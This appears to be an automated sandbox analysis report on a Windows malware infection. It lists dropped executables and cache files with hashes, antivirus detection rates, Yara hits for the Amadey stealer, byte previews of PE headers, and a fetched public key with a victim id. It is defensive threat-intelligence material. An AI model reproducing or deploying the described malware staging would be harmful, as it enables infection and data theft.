Size (bytes):	617
Entropy (8bit):	7.6441848112273
Encrypted:	false
SSDEEP:	12:kenmS86g2bc439OGnfO2Vsm1r9l4CY/Lv9IVWZimUTm98DWMqG7oLprvti5wqdcq:bEQF3oGJVZ5Mv9fMdTW4v8LprvtilbD
MD5:	C4044A61C28986C9257C277C59435B51
SHA1:	AD60336EF85EAE7170FA22DB8FD6A91A6E6A498D
SHA-256:	CF541FD004862B0DEE645E1F280EDC9DE973761FF62294E4FC9451BC60310640
SHA-512:	6DAB98B8A45C114236F318AA0A57480BB1E5770347FEFB991D79860547C728C2BBCDA19B0669058A157EA4D779D2690B1DEB54F57CE3B18141B50FE7004B785D
Malicious:	false
Reputation:	unknown
Preview:	2023/.{...h........je.5.X.....x....<:w..{k@...?..... J...d.T`){h+l...I.d..1....J...a...G...QM.....c...Ij..@`.Y9Y...`..P..X.v.{.;@........."."..J...K8.\J+...A..Y.?....W=..3u..^,.B..y.=..R....@..^......E.aB.u.M...R.H..b.a.QE...Tu.6.%.....wW.O...z...y"...=n.c..CW=.....j..C..P<;1!..IT...'.../.....A..wXfuO#.>.....b.B..........0N."ayC>.~.T.9h.yp.^......T..."..X...+.x~......]^...1.......S..g.J...wZV.q.mL.[..Z...Z.$.@.Z{.....6...-}..a..{.rI\.l...?.o.>....&=j....p.....T.J*..`...%..fy..)..x.....v..qea4F.D...y.....9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.5579237371416434
Encrypted:	false
SSDEEP:	12:GKpsw8sYishwKqIC1muelFbpYydwV5qdcii9a:G6stsZxKCIlN+XVGbD
MD5:	570740F0BAB49FCB8DE95C78FAF61A88
SHA1:	B5AEE59DBBC5411F431B230CD2C7BD564882B231
SHA-256:	948553DD01BFDA97E2C45FD37471DD4D24B14C094A8B592B6381FEDBFDB1735A
SHA-512:	2B07B94B667B3ACBD8C662C5DF7FC3617B854F2DEA7F50FB8D7E0A86705B7170A94A006712168F92E6640A7B0C7FB1FEABE6514F8596976299606F2410B0DC72
Malicious:	false
Reputation:	unknown
Preview:	.h.6.........,/.#..z`.:......0....]...K.....Z.`...\..[J.{....t...:<Z..J...fgM0...e...r.X.].p\.V...~.....1'.a.%..X.b.$J[.r.-.N.......]....}....M.l.........t....e2...."....>?....."..}..p..h~.~_..........m.4[...e.Ls..ox)o..w........t...-.Dx..~Q....z...p..Ro.H..f...S........./.`.&.@s.X...eh.O.i.TcX\|.n..r."...a..o.-;....V....X.....~.;.............:.f...\...<..[..+kQ......;`..k.*...uu./".1.l...9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	635
Entropy (8bit):	7.650982749685219
Encrypted:	false
SSDEEP:	12:kXF6c80dy92buOQbtUURUVzHK4iPDtLwUJnwHqdcii9a:vcT8maSTwFwUNbD
MD5:	C576D60F9AAD6FB832E668D45ECB1A4E
SHA1:	546B4FBD90622B70BFD9DA143294A66AF01ED0B7
SHA-256:	577AD0098EDC38EF5420B55D55A20CD36C3DA1437BF5D1E65917E4600B302CFE
SHA-512:	373C039859EF2E9C0EF09F982BE0C093C716289525024764D77B8AA810BFF2EB1A6C56602DB1D921AF8D83A121D6CA2CF29F5119F58E6B3BB2A598A7DE31A26F
Malicious:	false
Reputation:	unknown
Preview:	2023/OV.t.nG^.R.Z..R.B.4.K..X.....1..(...#^.-q.....,"M..:...c_..Q.-....Mg%..(.h.B.SL..U......{....$.q....e.j.kz.L.,..N.....>..#-P..n........$`..%E..x_...`.....N..#.{...........WD.... ....c........(e..N.e.N....6P..H....uH`g...!?...+.!.C:..[.#W.`a.......HVv...]j../j.=H......J..+&.. .MGR.....5=.*#u....3.&..u>.CVs..B._..4e.Nx...oT.....!.]..?Q.1&.^.......W...oO..bL....}J.'.4..y.._i.............._B.f..q...d..%"..K"..F...'r.s........w~....W.q..`b8M.p&`ye..T.P..m...Mm.I..b^.G.+...k...mKrJ.=.r.rc...w......4....=...@.@..$'c.46....9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	413696
Entropy (8bit):	6.2127990710955165
Encrypted:	false
SSDEEP:	6144:GTHw+DrMj8pM2PZSFeyqNW0/jFBewr7EPSmyNyNK94:CwsMj8pMAaeyqoEjF1FmGN
MD5:	22F2FD94F57B71F36A31EA18BE7D4B34
SHA1:	A8DC0A1AF7978FEA291F5306F1937A90AC9B6B5B
SHA-256:	BF1D4645972F8A10EF66D4343D0B3DC5B66EA2050A061E8194E6858A88220454
SHA-512:	5B1811DBDED599CF9580EFE2093594B31204404EC3F69F8C061FAC1F2EEE261F9837ADF63A4C55A206D39F9071ADE5B663615BA05D9A023C69A7F2B0F6BCF173
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82% Antivirus: Virustotal, Detection: 81%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........v...%...%...%..P%...%..d%..%..e%...%..]%...%...%5..%..a%...%..T%...%..S%...%Rich...%........PE..L.....7d.................&...Z.......L.......@....@..........................0......N........................................'..d....P...............................................................7..@...............8............................text...(%.......&.................. ..`.data........@...<...*..............@....tixecil.....0.......f..............@....rake........@.......j..............@....rsrc........P.......p..............@..@........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	306688
Entropy (8bit):	6.7250330334577075
Encrypted:	false
SSDEEP:	6144:2neDcgRQv5VaNT9DW7a6dtM9VstSttuvqIT:2O0v5VuT9DW7hdt9tKt2qI
MD5:	41B883A061C95E9B9CB17D4CA50DE770
SHA1:	1DAF96EC21D53D9A4699CEA9B4DB08CDA6FBB5AD
SHA-256:	FEF2C8CA07C500E416FD7700A381C39899EE26CE1119F62E7C65CF922CE8B408
SHA-512:	CDD1BB3A36182575CD715A52815765161EEAA3849E72C1C2A9A4E84CC43AF9F8EC4997E642702BB3DE41F162D2E8FD8717F6F8302BBA5306821EE4D155626319
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87% Antivirus: Virustotal, Detection: 82%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6..kr.h8r.h8r.h8...8s.h8l..8n.h8l..8..h8U_.8{.h8r.i8.h8l..82.h8l..8s.h8l..8s.h8Richr.h8........................PE..L.....a.................j....;..... .............@...........................>.............................................lh..d.....>../..........................................................0...@............................................text...rh.......j.................. ..`.data.....:..........n..............@....kic..........>......\|..............@....rsrc..../....>..0...~..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	767488
Entropy (8bit):	7.745848258017554
Encrypted:	false
SSDEEP:	12288:jqGw0v5K8BI2tcgBjM9m5hS+3HWnEpulYCQgecjePoAoE7y8VJXb6F9f:jqGw0vxbthBj+sh5HWcul2KePkE7y8Va
MD5:	C2AB34E22731EDA5D7BE4450C6D8360F
SHA1:	674696AF77F6AC0125DAF2B616F86FFC73270213
SHA-256:	A37187C1B3FEDCA26B6416E10CDAB4FEAE86E6A5F7140487F3F2D7F2FA088E40
SHA-512:	85A98862B243E6B0397478A4D2D5395F9155DBF4F4D478EA965C4AF7F0E8A554597971E63FB6B92C2E9690C4DB0C074977A362971B4A580D97DE300CE34380D7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 54%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B....}.Q.}.Q.}.Q./eQ.}.Q./sQ.}.Q./tQ(}.Q!..Q.}.Q.}.Q.}.Q./zQ.}.Q./dQ.}.Q./aQ.}.QRich.}.Q................PE..L......d.................N..........+Z.......`....@.......................... #......Z......................................$R..P.....!.X.....................".\|... ................................H..@............................................text....M.......N.................. ..`.data...db...`.......R..............@....rsrc...X.....!......p..............@..@.reloc..^....."..0..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\callcustomer.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1153
Entropy (8bit):	5.361204690044335
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhwE4Ty1KIE4oKNzKoZAE4KzeRE4Ks:MxHKlYHKh3owH8tHo6hAHKzeRHKs
MD5:	2C0FB4BE33B72FC12D0F84E88EB982BB
SHA1:	412C890C4B1473477F27F1AB206E4843418A8CB0
SHA-256:	3EDA95E3C7928A71C455EFADC2BE38C2107D6751C09894B31E42E08FE3751279
SHA-512:	42C02DB8BACDFBAFB5F3D22F5033560F4647E33FE9CE240240205DB48B524F01375B250BDDA574D04BEA5FF5C4EF7B265181F9D85B2C1DEAD342A6166F250682
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\bb5812ab3cec92427da8c5c696e5f731\System.Net.Http.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.X

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Windows\explorer.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1019
Entropy (8bit):	5.236946495216897
Encrypted:	false
SSDEEP:	24:YqHZ6T06Mhm4ymNib0O0bihmCetmKg6CUXyhmimKgbxdB6hmjmKgz0JahmcmKgbR:YqHZ6T06McoEb0O0bicCewHDUXycLHbR
MD5:	5D20D9B3F928AC964E07C561FD8A3F42
SHA1:	B702BE149FCF94831A975F2CD06B2DFE020D9632
SHA-256:	59A4F22870D7A7DC3339917C89FF6AF09FA762AF39F0624338FDDFF631730492
SHA-512:	30E5F275FFB475A403439C3A4DCC05F3E12A6914D93F20EB38AF3240A7F693A455C25C005A3681AB39C89BFAD9AE66FAAE3874B987FAC48BB6A5439194FDCEDC
Malicious:	false
Reputation:	unknown
Preview:	{"RecentItems":[{"AppID":"Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge","PenUsageSec":15,"LastSwitchedLowPart":7763552,"LastSwitchedHighPart":31061488,"PrePopulated":true},{"AppID":"Microsoft.WindowsCommunicationsApps_8wekyb3d8bbwe!Microsoft.WindowsLive.Mail","PenUsageSec":15,"LastSwitchedLowPart":4292730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.Office.OneNote_8wekyb3d8bbwe!microsoft.onenoteim","PenUsageSec":15,"LastSwitchedLowPart":4282730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.Windows.Photos_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":4272730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.MSPaint_8wekyb3d8bbwe!Microsoft.MSPaint","PenUsageSec":15,"LastSwitchedLowPart":4262730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.WindowsMaps_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":4252730848,"LastSwitchedHighPart":31061487,"Pr

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	413696
Entropy (8bit):	6.2127990710955165
Encrypted:	false
SSDEEP:	6144:GTHw+DrMj8pM2PZSFeyqNW0/jFBewr7EPSmyNyNK94:CwsMj8pMAaeyqoEjF1FmGN
MD5:	22F2FD94F57B71F36A31EA18BE7D4B34
SHA1:	A8DC0A1AF7978FEA291F5306F1937A90AC9B6B5B
SHA-256:	BF1D4645972F8A10EF66D4343D0B3DC5B66EA2050A061E8194E6858A88220454
SHA-512:	5B1811DBDED599CF9580EFE2093594B31204404EC3F69F8C061FAC1F2EEE261F9837ADF63A4C55A206D39F9071ADE5B663615BA05D9A023C69A7F2B0F6BCF173
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........v...%...%...%..P%...%..d%..%..e%...%..]%...%...%5..%..a%...%..T%...%..S%...%Rich...%........PE..L.....7d.................&...Z.......L.......@....@..........................0......N........................................'..d....P...............................................................7..@...............8............................text...(%.......&.................. ..`.data........@...<...*..............@....tixecil.....0.......f..............@....rake........@.......j..............@....rsrc........P.......p..............@..@........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build3[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	306688
Entropy (8bit):	6.7250330334577075
Encrypted:	false
SSDEEP:	6144:2neDcgRQv5VaNT9DW7a6dtM9VstSttuvqIT:2O0v5VuT9DW7hdt9tKt2qI
MD5:	41B883A061C95E9B9CB17D4CA50DE770
SHA1:	1DAF96EC21D53D9A4699CEA9B4DB08CDA6FBB5AD
SHA-256:	FEF2C8CA07C500E416FD7700A381C39899EE26CE1119F62E7C65CF922CE8B408
SHA-512:	CDD1BB3A36182575CD715A52815765161EEAA3849E72C1C2A9A4E84CC43AF9F8EC4997E642702BB3DE41F162D2E8FD8717F6F8302BBA5306821EE4D155626319
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6..kr.h8r.h8r.h8...8s.h8l..8n.h8l..8..h8U_.8{.h8r.i8.h8l..82.h8l..8s.h8l..8s.h8Richr.h8........................PE..L.....a.................j....;..... .............@...........................>.............................................lh..d.....>../..........................................................0...@............................................text...rh.......j.................. ..`.data.....:..........n..............@....kic..........>......\|..............@....rsrc..../....>..0...~..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\get[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	560
Entropy (8bit):	6.00158160967624
Encrypted:	false
SSDEEP:	12:YGJ68mHdLyfgIhUfz5/Z5ecpCSfRDDPp5gC55Nqu:YgJm9m4fz5/3DDXgO1
MD5:	79377E9553439EC5A0A137FAA7D2B934
SHA1:	B132ECD15C177A13E677AE11BCE7D3BB6EE395F5
SHA-256:	A0C34588383298209F2C04BBA4B3EE4C9DAA145839C64D3A9CFA55C9C18F1EE8
SHA-512:	7A5C35B901060353B64E4AD641992BED5451A1B2B0FC6CFD5DA2D06F4C542AF223FE0D6E60A7CF205979BB516B925E4555C06E481EF6D21568C2439006FCD76B
Malicious:	false
Reputation:	unknown
Preview:	{"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0TA5aJGFmyQ5q5ADeB\/a\\n\/WQlloHZgXWCUHpWl+6RBHBc96uMiEvcq0f7vpdLrF0Xue8BANMmMurbpzbg1639\\njuMAz041Iu+3+i3A+l3pg0z4HbR1UwA\/sOMqVAO+ab0L2FgwhnSl2qJjb+KJtzBj\\nzlmCoZP6fwVCW4JSfd\/RFSXrpKqM3bL6HD6hXiI5XHlm4VA57TN\/oTRAOGOVsfGN\\n+J7IsRMnWEU0b4ZQBxlb0eH9tYBXWid32eo6OND+vkXUZcahlbzE+9xHf9KKJeA9\\n5LirSH0Ru9u2DTGdK86gRyMYNTbkeEA67bSyKHL42zYS+5\/1MEp0Y98LlXHIa7jk\\nAwIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K"}

C:\Users\user\AppData\Local\Temp\1917.dll

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2449408
Entropy (8bit):	7.948614663619247
Encrypted:	false
SSDEEP:	49152:Aow37w/HQag4Goug/hS28h0Lp0d6H3k0az1eG6t4u0+rY:AowRagborI2dLpeqk0Ia4u3r
MD5:	9A5C196882CD03714B7DAB68E9EB4068
SHA1:	5D1F92D394AA78E5F6430575E6FE1FC858F6FF59
SHA-256:	0E73C416FEFED93971AE4F58892DCE12E1CE7A4D39073FDC9EFB0BA2330B0A0A
SHA-512:	87A3AF5AC7D02A3837C24DDAE4B4D120A41A1C52E6C9BD297AA3FE53E59628D5ADEC23B17BA50019F6B3F539A0F872AA94281DDDC6D10C98239C8490C39A417B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 22%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........v..j.Q.j.Q.j.Q...QQk.Q...Q.k.Q.4.P.k.Q..uQ.j.Q~3.P.j.Q.j.Q.k.Q.8.Q2j.Q...Q[k.Q.4.P.k.Q.4.P.j.QRich.j.Q........PE..L......G...........!......... .......%.......................................`%.......&.............................P...`...D.........$.......................$.`V..@...T...............................................d.......H....................text... ........................... ..`.rdata..............................@..@.data...............................@...DATA....7F#......P#.................@....rsrc.........$.......$................@.reloc..:m....$..p....$................B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1CEF.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1225728
Entropy (8bit):	6.164490798119759
Encrypted:	false
SSDEEP:	24576:+gpsxk7UOtPHd/xx5X0WH35ySptZSNW8m:77UOtPHDXB5ySptZP
MD5:	5B293206E810D2871736E1ECBD9CC196
SHA1:	47C0BAADFBA1876CB8FFDFF6F057F16F2076197F
SHA-256:	F31CE717EF107B5C0901A0C8581553B71AD7A09180E28A1575B0955905519628
SHA-512:	110AE30F84747FB35CC75F6B2608AEA5F90F25C3B2C49105DEEDC121D2AB8036949F58ACC3D436B5D4584C9C1A7A30BAC74F501B786F4E71D6414950D19FBB32
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........e...........y......y.......y......y.........).........................k......k......k......Rich............PE..L...`C)e...............".L...................`....@.......................................@.............................b....R..(...............................\|M...u..8............................t..@............P...............................text....K.......L.................. ..`.rdata..r....`.......P..............@..@.data....B.......&..................@....idata.......P......................@..@.css....l....p...0...&..............@....00cfg...............V..............@..@.reloc...[.......\...X..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\374E.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.535628381641966
Encrypted:	false
SSDEEP:	6144:GUG2bcUH6Z0+ReEjhVsJgAmkMAIeuudb8MT8AOacOZS:GU9bIeEdVsJqeuudbFT8SZS
MD5:	55F845C433E637594AAF872E41FDA207
SHA1:	1188348CA7E52F075E7D1D0031918C2CEA93362E
SHA-256:	F9F9B154F928549C7A4B484909F41352048CE8148C678F4EC32C807C1D173A39
SHA-512:	5A9B5E83B41041259060E3A29163CDD5ED271C5D476FA455B40EC9BC32BF4BCDDAF3AA1BA23FAACC2669BE420ACB905677EC4FCFB3D69E7B9F7908AE5CBD18A4
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\374E.exe, Author: Joe Security Rule: Windows_Trojan_Amadey_7abb059b, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\374E.exe, Author: unknown
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........}.........................6...........R.......R.......R.................."...........................Rich............................PE..L......d.................z...^......tv............@.......................................@.................................(...d................................/...g..p....................h.......g..@............................................text....x.......z.................. ..`.rdata..^............~..............@..@.data....+...........~..............@....rsrc...............................@..@.reloc.../.......0..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\374E.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.535628381641966
Encrypted:	false
SSDEEP:	6144:GUG2bcUH6Z0+ReEjhVsJgAmkMAIeuudb8MT8AOacOZS:GU9bIeEdVsJqeuudbFT8SZS
MD5:	55F845C433E637594AAF872E41FDA207
SHA1:	1188348CA7E52F075E7D1D0031918C2CEA93362E
SHA-256:	F9F9B154F928549C7A4B484909F41352048CE8148C678F4EC32C807C1D173A39
SHA-512:	5A9B5E83B41041259060E3A29163CDD5ED271C5D476FA455B40EC9BC32BF4BCDDAF3AA1BA23FAACC2669BE420ACB905677EC4FCFB3D69E7B9F7908AE5CBD18A4
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe, Author: Joe Security Rule: Windows_Trojan_Amadey_7abb059b, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe, Author: unknown
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........}.........................6...........R.......R.......R.................."...........................Rich............................PE..L......d.................z...^......tv............@.......................................@.................................(...d................................/...g..p....................h.......g..@............................................text....x.......z.................. ..`.rdata..^............~..............@..@.data....+...........~..............@....rsrc...............................@..@.reloc.../.......0..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6545.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	244224
Entropy (8bit):	6.744693294191257
Encrypted:	false
SSDEEP:	3072:u1DHuxXJqVzHOab+Hdc2J9+UnkPQadIbGjK57qRXpg0TrBR:UbuxJqVzuy+9JfkY4IbGYqRFT
MD5:	86A01AD03723CC198298DBEA06A107D2
SHA1:	438A49067B526BBA0DE81F51018AC7CBDE7910FE
SHA-256:	7A142C9A74F8A731D81800F21BEC205E7342F0D89F598A6314FC117246260482
SHA-512:	349CE962F45D27656C9D5BD4233E0922153A71CBA61061DA576BE6A4B4F1DC1257A648644108201A763809E861DD79EEEB4249F83A2CD94C12DDCDD3EC5DBAD9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u...1bc.1bc.1bc./0...bc./0..'bc./0..bc.....6bc.1bb.bc./0..0bc./0..0bc./0..0bc.Rich1bc.................PE..L...]e.c.................X...........>.......p....@..........................0..............................................$[..P.......X...........................0...............................P...@............................................text...2V.......X.................. ..`.data...xb...p.......\..............@....rsrc...X............z..............@..@.reloc...(.......*..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8A61.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	modified
Size (bytes):	132734
Entropy (8bit):	7.7442810358076315
Encrypted:	false
SSDEEP:	3072:Bf1BDZ0kVB67Duw9AMcybGFAjrYEOnEjbWicBGIgPjzgw0XIu0I/2jAM:B9X0G0fjrkJiUgPH/ubXM
MD5:	6D57BE58312131CB7672F3D72BF1B5A1
SHA1:	3DEC741A0E5B7271416AD09DBD35BE896F07C939
SHA-256:	E000E93034AA809E36C2C270DB09F90D9F68949645C3C6D3C7922EBEC2B01F13
SHA-512:	6CB7236D81543A32BAAB42F60CD77C17EAFDAB11C014520E01A699F85AC74995466F9C3020BA449A4422CB9275665799B57A8B1D40D73AEDAF3EF42045B307CE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 18%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1)..PG..PG..PG._...PG..PF.IPG._...PG.sw..PG..VA..PG.Rich.PG.........PE..L...".$_.................f...\|......H3............@.......................................@.................................D...........(............................................................................................................text...Wd.......f.................. ..`.rdata...............j..............@..@.data...8U...........~..............@....ndata...................................rsrc...(...........................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\98D7.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	8126464
Entropy (8bit):	6.6717565015849765
Encrypted:	false
SSDEEP:	49152:L9VSCDYYfGBrb/TtvO90d7HjmAFd4A64nsfJzEY1wbGukpo44oXkk/UsH9rvJ0il:3fFbmlo069rqYrE4zh5
MD5:	5242541FD5AF4D01BECE6EF3492165E7
SHA1:	D8F9F496989EF2A545AB5986E36F304697567FDB
SHA-256:	F69BF14646AE9FC6DB31CDFE34BBF2D2B972584F6E1979845A4A54B28FB6AB97
SHA-512:	ECB1A4B98D4A27E8628D945162D7D369C1CAD74EA0955656C500F9A388E17B866FB9490273ABCFB75090DB8CA3280A15426F7B0DD40B2287545F1E9C713C6912
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................$.X(...{................@.............................P........\|...`... ......................................0..N....@..8............ {..............................................{.(...................\D.. ............................text...`W(......X(.................`.``.data.......p(......\(.............@.`..rdata....N..0,...N...,.............@.`@.pdata....... {.......{.............@.0@.xdata.......0{.......{.............@.0@.bss.... ....@{.......................`..edata..N....0......."{.............@.0@.idata..8....@.......${.............@.0..CRT....p....`.......8{.............@.@..tls.........p.......:{.............@.@..rsrc................<{.............@.0..reloc..............V{.............@.0B................................................................................................................................

C:\Users\user\AppData\Local\Temp\9EB5.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4312448
Entropy (8bit):	7.988359103281772
Encrypted:	false
SSDEEP:	98304:mwDHOTJHY/1VioUrq4cK4fpnEuq8xWCNU0/ChUx452G7T:mAIHFoacK4GJXC60YUxkjH
MD5:	147DB15672E40DD06DB945C1086B3145
SHA1:	62591AD19DFA3E714EEA0C9F0FCA76B68C433DD6
SHA-256:	825256819C0529D00BEB987CFAD8A0D2BE617CF39043705C524BFBCAE3BE585A
SHA-512:	D59F065D545FA9CC13848907EDB97C9CFE21810A8DB3F884D6ACA71DF732657302DEF2033A9238912BC60F980B134F9DF4559D516E49B750530A3DA1FD9E2E17
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
